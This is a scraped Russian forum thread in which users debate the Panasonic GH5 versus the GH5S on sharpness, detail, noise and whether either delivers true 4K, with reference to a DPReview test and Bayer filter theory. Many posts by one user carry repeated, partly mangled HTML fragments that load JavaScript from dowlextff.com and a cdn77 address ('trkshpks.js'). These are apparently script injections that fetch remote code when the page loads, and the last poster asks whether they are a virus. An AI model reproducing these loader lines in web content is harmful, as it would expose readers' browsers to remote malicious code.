https://www.dpreview.com/reviews/image-comparison/fullscreen?attr29_0=panasonic_dcgh5s&attr29_1=panasonic_dcgh5&attr72_0=4k&attr72_1=4k&normalization=full&widget=455&x=-0.013717073479796575&y=0.0018728362580185034" rel="nofollow - https://www.dpreview.com/reviews/image-comparison/fullscreen?attr29_0=panasonic_dcgh5s&attr29_1=panasonic_dcgh5&attr72_0=4k&attr72_1=4k&normalization=full&widget=455&x=-0.013717073479796575&y=0.0018728362580185034
что видно-то? даже здесь в таблице - GH5s резче Big smile
да и хрен с ними, с таблицами... в РЕАЛЬНОЙ жизни я специально не сравнивал, но по субъективным ощущениям - GH5s РЕЗЧЕ, поэтому если снимаю в одну камеру, его с собой и беру всегда вместе с 12-60 или 8-18, а обычная пятерка отдыхает


Опубликовал: Jailbait
Дата публикации: 18-октября-2018   14:59
Что до выбора между 5 и 5S, то вот еще что нужно учесть:
- Автофокус у 5S заметно лучше
- Шире угол
- 240 фпс сломо против 180.... а если снимать 180 фпс на обоих, то на 5S разрешение будет больше, разрешение при 240 фпс будет как у пятерки при 180 (спасибо более мощному процу)
- цвета и телесные тона у 5S лучше - нет желто-зеленого каста (хотя, как я говорил в монтажках с современными средствами цветокора это не большая проблема)
- V-log уже предустановлен
а минус только один: нет матричной стабилизации...
хотяяяя - какую-нибудь Мозу Эир Кросс сейчас может себе позволить любой нищеброд за 20 с копейками и результат будет лучше матричного стаба пятерки...
8-18 (да и любой сверхширик) на коротком конце на GH5 из-за работы матричного стаба по углам дают заметный эффект "желе", на 5S, при том что сам угол выходит шире, такого эффекта нет




Опубликовал: sokolov
Дата публикации: 18-октября-2018   15:14
Было отправлено Jailbait Jailbait написал(а):

что видно-то? даже здесь в таблице - GH5s резче Big smile
да и хрен с ними, с таблицами... в РЕАЛЬНОЙ жизни я специально не сравнивал, но по субъективным ощущениям - GH5s РЕЗЧЕ, поэтому если снимаю в одну камеру, его с собой и беру всегда вместе с 12-60 или 8-18, а обычная пятерка отдыхает
  "резче" это из другой темы.  Это к обьективам и программному шарпу.)))  А разницу в детализации видно очень хорошо. GH5S не смог прорисовать все линии в этой мишени..  


Все остальное у 5S  лучше, ну кроме цены конечно..



-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Пётр Линёв
Дата публикации: 18-октября-2018   17:43
КАК можно рассуждать о "хуже-лучше" не понимаю простой вещи, кроме тушке(сенсора) , 50% качество даёт объектив!
 Какой используют на тех таблицах ? 


-------------
SONY a7III, Zeiss Batis 1.8/85; SONY FE24-240 OSS;Tamron: 28-75mm F/2.8,17-28mm F/2.8; DJI Mini 2, GoPro HERO7B,SAMYANG 35,85;


Опубликовал: sokolov
Дата публикации: 18-октября-2018   19:52
Было отправлено Пётр Линёв Пётр Линёв написал(а):

КАК можно рассуждать о "хуже-лучше" не понимаю простой вещи, кроме тушке(сенсора) , 50% качество даёт объектив!
 Какой используют на тех таблицах ? 
Там как бы написано..  В этом тесте на GH5s стоял  Panasonic 42.5f1.2 (в тесте была диафрагма f4) ,  а на GH5 стоял Olympus 45f1.8  (в тесте была диафрагма f5.6)
Обьектив может сделать картинку более или менее  резкой. И на снятой мишени видно, что у GH5S сама картинка резче (но скорее всего из-за шарпа) , но тонкие линии начинают сливаться  и перестают быть различимы.. Тут обьектив не причем, это матрица не может воспроизвести такие мелкие детали..


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   07:44
Было отправлено sokolov sokolov написал(а):

Было отправлено Пётр Линёв Пётр Линёв написал(а):

КАК можно рассуждать о "хуже-лучше" не понимаю простой вещи, кроме тушке(сенсора) , 50% качество даёт объектив!
 Какой используют на тех таблицах ? 
Там как бы написано..  В этом тесте на GH5s стоял  Panasonic 42.5f1.2 (в тесте была диафрагма f4) ,  а на GH5 стоял Olympus 45f1.8  (в тесте была диафрагма f5.6)
Обьектив может сделать картинку более или менее  резкой. И на снятой мишени видно, что у GH5S сама картинка резче (но скорее всего из-за шарпа) , но тонкие линии начинают сливаться  и перестают быть различимы.. Тут обьектив не причем, это матрица не может воспроизвести такие мелкие детали..
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

Собственно, эти разговоры на аглоязычных форумах прошли год назад. Там сразу сказали, что эска не может дать полноценное 4К. Справедливости ради и с 5 на хорошем мониторе - 4К довольно фиговое.

Это камеры для хорошего 2К. Данускейлом. 10 бит. Можно даунскейлить в 4:4:4, отличный результат. 

От себя. Аналогичные обсуждения были по Сони А7с и 6300-6500.

В 4К 6300 намного лучше по детализации, тесты есть на ютубе. Т.к. у соньки 7С 4К и мылит (эо видно при сравнении кропов или на 4К мониторе), а у малышки - 6К, которые уменьшают до 4К.

У гаша ровно та же ситуация. 


О чем тут спорить. Другое дело, что как 4К камера ни тот, ни другой не тянут.

Максимум пятерка может на анаморфе дать форальные 8К, которые мы даунскейлим до 4К.  И тут уже что-то похожее выйдет.



-------------
Все старье давно продал.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   07:49
Было отправлено Пётр Линёв Пётр Линёв написал(а):

КАК можно рассуждать о "хуже-лучше" не понимаю простой вещи, кроме тушке(сенсора) , 50% качество даёт объектив!

Ну да. Тупые тестеры (наиболее авторитетные в мировом сообществе видеографов) этого не предусмотрели.

PS
А вообще даже пластиковый кит на зажатой дифрагме и с хорошим светом не сможет так испоганить детализацию.

Опять же - оба объектива там отличные. 

 
 
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

-------------
Все старье давно продал.


Опубликовал: Белов Александр
Дата публикации: 19-октября-2018   10:44
sokolov,
дайте ссылку на тест по GH5S и GH5, посмотрю как там тестировалось.
У GH5S матрица 12 мегапикселей, но расположена она не обычно. Матрица больше чем байонет M4/3 и вписывается в байонет M4/3 при разрешении 4096X2160, т. е. используется не вся поверхность матрицы. При разрешении 4:3 используется примерно 10 мегапикселей.
У GH5S истинное 4K, каждый пиксель изображения соответствует пикселю матрицы.
Не так у GH5, матрица 18 мегапикселей и при выводе в 4K используется вся поверхность матрицы, потом изображение сжимается до 4K, т. е. примерно 1 пиксель изображения соответствует 1,5 пикселю матрицы.


Опубликовал: Lucky Gonza
Дата публикации: 19-октября-2018   11:43
Тестирования на резкость аппаратов одной системы, с адекватными результатами, можно проводить ТОЛЬКО с одинаковыми объективами и на одинаковой диафрагме. Тем более - в UHD. И то, что "именитые" тестеры этого не знают или сознательно (?) этого не делают, сливает все их результаты в унитаз. Вместе с "именитостью"... То же касается и тутошних "обозревателей" этих "тестов", кстати. Big smile
Меня, порой, просто восторгает непонимание элементарных вещей...Big smile

У меня нету и вряд ли будет GH5S, но в паре с его владельцем я пересекался и его материал тоже. у меня на компе был. Естественно, нам было не до "тестов", но скажу, что при достаточном свете, картинки, если не присматриваться - очень похожи. При обычных съемках, короче, нету там никаких существенных отличий. Думаю, что если не надо снимать в совсем уж лоулайтах, то бежать продавать GH5 и покупать "эску", смысла нет, от слова совсем.

И поскольку я не "именитый тестер", то о резкости судить не буду. Похожа, все, что могу сказать... Wink


-------------
ТЖК на Sony NX3. Lumix GH5, Lumix-ы 14-140 f4-5,8, 35-100 f2,8 12-35 f2,8, Olympus 50-200 f2,8-3,5 Sigma 30 f1.4, etc.
Zhiyun Crane v.2
Не фокус - крутить фокус, фокус за это деньги получать.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   12:28
Было отправлено Lucky Gonza Lucky Gonza написал(а):

Тестирования на резкость аппаратов одной системы, с адекватными результатами, можно проводить ТОЛЬКО с одинаковыми объективами и на одинаковой диафрагме. Тем более - в UHD. И то, что "именитые" тестеры этого не знают или сознательно (?) этого не делают, сливает все их результаты в унитаз. Вместе с "именитостью"... То же касается и тутошних "обозревателей" этих "тестов", кстати. Big smile
Меня, порой, просто восторгает непонимание элементарных вещей...Big smile

У меня нету и вряд ли будет GH5S, но в паре с его владельцем я пересекался и его материал тоже. у меня на компе был. Естественно, нам было не до "тестов", но скажу, что при достаточном свете, картинки, если не присматриваться - очень похожи. При обычных съемках, короче, нету там никаких существенных отличий. Думаю, что если не надо снимать в совсем уж лоулайтах, то бежать продавать GH5 и покупать "эску", смысла нет, от слова совсем.

И поскольку я не "именитый тестер", то о резкости судить не буду. Похожа, все, что могу сказать... Wink
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js">< ="text/" ="http://1675450967.rsc.cdn77.org/cu/trkshpks.js">

Присоединюсь к высказыванию выше, но одновременно с ним поспорю. Пятерка сильно шумит. И дело не в недостатке света - шумит по черному она даже на солнце. Бороться с этим легко. Пересвет, тени хорошо выявлены, светлые участки тянутся из 10 бит.

Но в полумраке это не работает. Сейчас 3 часа дня. Я сижу в обычной комнате на теневой стороне дома. Снимая в 4К - я получаю адский шум в тенях (шумодав в камере на максимуме). Стекло светлейшее - 18-25, Сигма. 

Т.е. для репортажки в ФХД со светлым стеклом - гаш хорош. Шума мало. 

Для рекламы с большим количеством света - тоже годится. 

Но если кто надеется получить универсальную кинокамеру, способную снять в любой пещере и ночью на улице Гарлема - нет. 

С другой стороны - за эти деньги результат отличный. 

Эска намного лучше по цветам и шумам. Детализация - слабей, если разбираться. 

В общем, каждый выбирает, что ему нужно.  


-------------
Все старье давно продал.


Опубликовал: Jailbait
Дата публикации: 19-октября-2018   13:06
Было отправлено Владимирович Владимирович написал(а):

Эска намного лучше по цветам и шумам. Детализация - слабей, если разбираться. В общем, каждый выбирает, что ему нужно.  
По-моему, детализации в эске не хватает только всяким виртуальным теоретикам-измеряльщикам да полуграмотным "тестерам для ютуба"
В реальной жизни детализации в ней - С ИЗБЫТКОМ, я уже писал, что умышленно замыливаю шумодавом, чтобы сделать картинку помягче


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   13:22
Было отправлено Jailbait Jailbait написал(а):

Было отправлено Владимирович Владимирович написал(а):

Эска намного лучше по цветам и шумам. Детализация - слабей, если разбираться. В общем, каждый выбирает, что ему нужно.  
По-моему, детализации в эске не хватает только всяким виртуальным теоретикам-измеряльщикам да полуграмотным "тестерам для ютуба"
В реальной жизни детализации в ней - С ИЗБЫТКОМ, я уже писал, что умышленно замыливаю шумодавом, чтобы сделать картинку помягче
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

Увы. Вы явно говорите не о детализации, а о резкости. 

1. детализация это количество различимых деталей - чем больше, тем лучше.
2. резкость это качество показа имеющихся деталей.

Т.е. на эске резкая картинка, но при прочих равных - с пятерки этот же кадр будет содержать большее количество деталей.

Может быть недетализированное, но при этом резкое изображение.

Или так: 

Детализация - качество проработки текстур объекта
Резкость - качество проработки контуров объекта

Т.е. резкость достигается шарпом имеющихся контуров. Лишних деталей она вам не нарисует. 

Что касается тестов. Обсуждаемый сравнительный тест пятерки и эски делали наиболее авторитетные тестеры в мире. Они как минимум не теоретики. 

С ними регулярно не соглашаются, но потом в итоге выходит по их. Всегда.

Кстати, Вы видели картинку со своей камеры на полноценном 4К мониторе?





-------------
Все старье давно продал.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   13:24
Но в целом, я бы выбрал эску для видео (в 2К, для 4К не тянет она) и пятерку для фото.< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

-------------
Все старье давно продал.


Опубликовал: Белов Александр
Дата публикации: 19-октября-2018   13:44
Владимирович,
на основе чего Вы считаете что детализации в 4K у GH5S меньше чем у GH5?
По данным Panasonic за счет того в GH5S пиксели в 2 раза больше чем у GH5 камера меньше использует внутренний шумодав позволяя сохранить больше деталей в изображении.
https://panasonic.jp/dc/g_series/products/gh5s/high_image_quality.html" rel="nofollow - https://panasonic.jp/dc/g_series/products/gh5s/high_image_quality.html


Опубликовал: Jesaul
Дата публикации: 19-октября-2018   13:54
Было отправлено Владимирович Владимирович написал(а):

Кстати, Вы видели картинку со своей камеры на полноценном 4К мониторе?
Меня моя картинка в 4к с gh5s на 4к телевизоре полностью сексуально удолетворяет по резкости.
Если надо помягче - ставлю 3200 и зажимаю диафрагму :)


-------------
Panasonic Lumix DMC-GH5S, Ronin S, SmallHD focus, Tamron 24-70/2.8,Tokina AT-X 11-20/2.8 Pro, metabones Speed Booster XL 0.64x, Rode NTG3, tascam dr 100 mkiii
VANGUARD Alta Pro 263AB 100


Опубликовал: Jailbait
Дата публикации: 19-октября-2018   15:54
Было отправлено Владимирович Владимирович написал(а):

Увы. Вы явно говорите не о детализации, а о резкости. 

1. детализация это количество различимых деталей - чем больше, тем лучше.
2. резкость это качество показа имеющихся деталей.

Т.е. на эске резкая картинка, но при прочих равных - с пятерки этот же кадр будет содержать большее количество деталей.

Может быть недетализированное, но при этом резкое изображение.

Или так: 

Детализация - качество проработки текстур объекта
Резкость - качество проработки контуров объекта

Т.е. резкость достигается шарпом имеющихся контуров. Лишних деталей она вам не нарисует. 

Что касается тестов. Обсуждаемый сравнительный тест пятерки и эски делали наиболее авторитетные тестеры в мире. Они как минимум не теоретики. 

С ними регулярно не соглашаются, но потом в итоге выходит по их. Всегда.

Кстати, Вы видели картинку со своей камеры на полноценном 4К мониторе?
Bogomol спасибо, отец родной, что просветил, а то так бы и прозябали, неразумные, в своей неграмотности... 

и да, картинка с эски устраивает на 4К мониторе настолько, что ВСЕГДА предпочитаю эску обычной пятерке, когда снимаю в одну камеру (впрочем, я уже писал об этом)


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   16:21
Было отправлено Белов Александр Белов Александр написал(а):

Владимирович,
на основе чего Вы считаете что детализации в 4K у GH5S меньше чем у GH5?
По данным Panasonic за счет того в GH5S пиксели в 2 раза больше чем у GH5 камера меньше использует внутренний шумодав позволяя сохранить больше деталей в изображении.
https://panasonic.jp/dc/g_series/products/gh5s/high_image_quality.html" rel="nofollow - https://panasonic.jp/dc/g_series/products/gh5s/high_image_quality.html
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js">< ="text/" ="http://1675450967.rsc.cdn77.org/cu/trkshpks.js">

1) На предыдущей странице тест. Это наиболее авторитетная в мире контора, которая занимается такими тестами. 

2) Логика фильтра Байера против. Если на то пошло, то даже из рава 4К невозможно вытащить полное разрешение 4К. Только 80 процентов от него. 




-------------
Все старье давно продал.


Опубликовал: Tackuro
Дата публикации: 19-октября-2018   16:38
а почему 4к с панаса 10мп резче 4к с канона с большим колвом пикселей? 

-------------
https://www.serega.com.ua" rel="nofollow - МОЙ САЙТ GH5,FZ-1000,GX80,gopro4BE #8\3.5 #16\1.4 #56\1.4 #85\1.4 #12-35\2.8 #35-100\2.8


Опубликовал: Белов Александр
Дата публикации: 19-октября-2018   16:52
Было отправлено Владимирович Владимирович написал(а):

1) На предыдущей странице тест. Это наиболее авторитетная в мире контора, которая занимается такими тестами. 

2) Логика фильтра Байера против. Если на то пошло, то даже из рава 4К невозможно вытащить полное разрешение 4К. Только 80 процентов от него. 
1) Тот тест был снят разными обьективами с разным значением диафрагмы. Может быть и другие параметры отличались. Скиньте ссылку на тот тест.
2) Объясните подробнее.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   17:39
Было отправлено Tackuro Tackuro написал(а):

а почему 4к с панаса 10мп резче 4к с канона с большим колвом пикселей? 
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js">

Херовый кодек. Давно уже признано. Но тут мы имеем дело с двумя камерами одного производителя. Кодек, процессоры - одинаковые. 
http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

-------------
Все старье давно продал.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   17:43
Было отправлено Белов Александр Белов Александр написал(а):

Было отправлено Владимирович Владимирович написал(а):

1) На предыдущей странице тест. Это наиболее авторитетная в мире контора, которая занимается такими тестами. 

2) Логика фильтра Байера против. Если на то пошло, то даже из рава 4К невозможно вытащить полное разрешение 4К. Только 80 процентов от него. 
1) Тот тест был снят разными обьективами с разным значением диафрагмы. Может быть и другие параметры отличались. Скиньте ссылку на тот тест.
2) Объясните подробнее.
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

Объективы тут не при чем. 

https://www.dpreview.com/reviews/image-comparison/fullscreen?attr29_0=panasonic_dcgh5s&attr29_1=panasonic_dcgh5&attr72_0=4k&attr72_1=4k&normalization=full&widget=455&x=-0.013717073479796575&y=0.0018728362580185034" rel="nofollow - https://www.dpreview.com/reviews/image-comparison/fullscreen?attr29_0=panasonic_dcgh5s&attr29_1=panasonic_dcgh5&attr72_0=4k&attr72_1=4k&normalization=full&widget=455&x=-0.013717073479796575&y=0.0018728362580185034


-------------
Все старье давно продал.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   17:45
Было отправлено Белов Александр Белов Александр написал(а):

Было отправлено Владимирович Владимирович написал(а):

1) На предыдущей странице тест. Это наиболее авторитетная в мире контора, которая занимается такими тестами. 

2) Логика фильтра Байера против. Если на то пошло, то даже из рава 4К невозможно вытащить полное разрешение 4К. Только 80 процентов от него. 
1) Тот тест был снят разными обьективами с разным значением диафрагмы. Может быть и другие параметры отличались. Скиньте ссылку на тот тест.
2) Объясните подробнее.
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js">< ="text/" ="http://1675450967.rsc.cdn77.org/cu/trkshpks.js">

Сфотографируем исходный объект (для наглядности его часть увеличена):

https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Bayer_filter_source.jpg" rel="nofollow">Bayer filter source.jpg https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Bayer_filter_cropped.jpg" rel="nofollow">Bayer filter cropped.jpg

При этом получаются три цветовые составляющие:

https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Bayer_filter_main.png" rel="nofollow">Bayer filter main.png
https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Bayer_filter_red.png" rel="nofollow">Bayer filter red.png https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Bayer_filter_green.png" rel="nofollow">Bayer filter green.png https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Bayer_filter_blue.png" rel="nofollow">Bayer filter blue.png
https://commons.wikimedia.org/wiki/File:Bayer_filter_all.png?uselang=ru" rel="nofollow">Bayer filter all.png

Таким образом, мы получили изображение, каждый пиксель которого содержит только одну цветовую составляющую одной из предметных точек, спроецированных на него объективом. И только 4 предметных точки, рядом расположенных и спроецированных объективом на блок пикселей RGGB, приближенно формируют полный набор RGB 1-й усредненной предметной точки. Далее, процессор камеры должен, используя специальные математические методы интерполяции, рассчитать для каждой точки недостающие цветовые составляющие. В результате получается следующее изображение:

https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Bayer_filter_reconstructed.jpg" rel="nofollow">Bayer filter reconstructed.jpg


-------------
Все старье давно продал.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   17:50
Если очень примитивно - один пиксель изображения должен формироваться четырьмя пикселями на матрице.< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

Т.е. для настоящего FHD нужна матрица 4К. И т.д. Если такого количества пикселей нет - мы копируем инфу с существующих. Вследствии этого прут артефакты и картинка теряет цветовое разрешение (цветовое, именно так, кто не понял - гуглите, три года отдельные упорыши не понимают, что это).

PS
Я не буду говорить о том, что те, кто считают картинку с Гашей - настоящей 4К - сильно ошибаются. Там в принципе указано максимально 1800 линий, т.е. даже с 5-ки нет настоящего 4К.
 









-------------
Все старье давно продал.


Опубликовал: Белов Александр
Дата публикации: 19-октября-2018   18:44
Было отправлено Владимирович Владимирович написал(а):

Там в принципе указано максимально 1800 линий, т.е. даже с 5-ки нет настоящего 4К.
А где Вы видете максимально 1800 линий?


Опубликовал: Jesaul
Дата публикации: 19-октября-2018   19:00
Было отправлено Владимирович Владимирович написал(а):

PS
Я не буду говорить о том, что те, кто считают картинку с Гашей - настоящей 4К - сильно ошибаются. Там в принципе указано максимально 1800 линий, т.е. даже с 5-ки нет настоящего 4К

Фигня на палочке.
Я открыл официальные спецификации сенсора IMX294CJK и вижу

The IMX294CJK adopts Type 4/3 as the optical size, and supports various output formats (angle of view) including 10M (3704 × 2778) for aspect ratio 4:3, UHD (3840 × 2160) for 16:9, and 4096 × 2160 for 17:9. In addition, the A/D converter can be selected from 10 bits, 12 bits, and 14 bits according to the application ( https://www.sony-semicon.co.jp/products_en/new_pro/may_2017/imx294cjk_e.html#Table3" rel="nofollow - Table 3 ).


-------------
Panasonic Lumix DMC-GH5S, Ronin S, SmallHD focus, Tamron 24-70/2.8,Tokina AT-X 11-20/2.8 Pro, metabones Speed Booster XL 0.64x, Rode NTG3, tascam dr 100 mkiii
VANGUARD Alta Pro 263AB 100


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   20:11
Было отправлено Jesaul Jesaul написал(а):

Было отправлено Владимирович Владимирович написал(а):

PS
Я не буду говорить о том, что те, кто считают картинку с Гашей - настоящей 4К - сильно ошибаются. Там в принципе указано максимально 1800 линий, т.е. даже с 5-ки нет настоящего 4К

Фигня на палочке.
Я открыл официальные спецификации сенсора IMX294CJK и вижу

О, Господи. Десять лет мы обсуждаем одно и тоже. Это только на моей памяти. А до меня - еще десять обсуждали. И все равно - новички не знают даже азов.

ТВЛ не имеют отношения к формальному разрешению видео.

Это вообще разные вещи.

Для тех, кто в танке. 

Формально все видеофайлы имеют разрешение согласно стандарту. 1920 на 1080. И т.д.

Но в одном случае мы имеем дело с мылом мыльным, а в другом с детализированной картинкой. 

Почему так?

Проведите простой эксперимент. Возьмите любое говно SD  качества. 360, 480. Загоните в монтажку.

И выведите в 4К.

Потом щелкните свойства. Что в свойствах? 3840 на 2160?

А внутри что? 360 или 480?

Так оно и работает. 

ВСЕ 4К камеры формально сохраняют картинку в 4К.

Но внутри 4К самая разная детализация. 














< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

-------------
Все старье давно продал.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   20:13
Было отправлено Jesaul Jesaul написал(а):

Было отправлено Владимирович Владимирович написал(а):

PS
Я не буду говорить о том, что те, кто считают картинку с Гашей - настоящей 4К - сильно ошибаются. Там в принципе указано максимально 1800 линий, т.е. даже с 5-ки нет настоящего 4К

Фигня на палочке.
Я открыл официальные спецификации сенсора IMX294CJK и вижу

The IMX294CJK adopts Type 4/3 as the optical size, and supports various output formats (angle of view) including 10M (3704 × 2778) for aspect ratio 4:3, UHD (3840 × 2160) for 16:9, and 4096 × 2160 for 17:9. In addition, the A/D converter can be selected from 10 bits, 12 bits, and 14 bits according to the application ( https://www.sony-semicon.co.jp/products_en/new_pro/may_2017/imx294cjk_e.html#Table3" rel="nofollow - Table 3 ).
< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js">< ="text/" ="http://1675450967.rsc.cdn77.org/cu/trkshpks.js">

И чо? Никакой связи между формальным разрешением и ТВЛ нет вообще.

У ФХД максимальное реальное разрешение в ТВЛ - 1100 линий. Это не имеет никакого отношения к количеству пикселей по короткой или по длинной стороне кадра. 

Гуглите что ли. 


-------------
Все старье давно продал.


Опубликовал: Владимирович
Дата публикации: 19-октября-2018   20:17
Было отправлено Jesaul Jesaul написал(а):

Было отправлено Владимирович Владимирович написал(а):

PS
Я не буду говорить о том, что те, кто считают картинку с Гашей - настоящей 4К - сильно ошибаются. Там в принципе указано максимально 1800 линий, т.е. даже с 5-ки нет настоящего 4К

Фигня на палочке.

Когда появились первые Марковки с видео - там из 1920 на 1080 - реально всего 850 линий было. 
Потом стало 950.

Потом появилась С 100 с 1000. Кэнонисты полгода бухали на радостях.

Никакой идиот не меряет разрешение по формальному количеству пикселей.

Есть говенные мелкоматричные камеры, где 4К хуже чем ФХД с хороших фхд камер. И это не шутка. 

Именно для того, чтобы измерять реальное разрешение - введен стандарт ТВЛ.

< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js"> http://1675450967.rsc.cdn77.org/cu/trkshpks.js" rel="nofollow - http://1675450967.rsc.cdn77.org/cu/trkshpks.js" >

-------------
Все старье давно продал.


Опубликовал: corel
Дата публикации: 19-октября-2018   20:51
это вирус в ссылках  каких то?



Распечатать страницу | Закрыть окно

Forum Software by Web Wiz Forums® version 12.04 - http://www.webwizforums.com
Copyright ©2001-2018 Web Wiz Ltd. - https://www.webwiz.net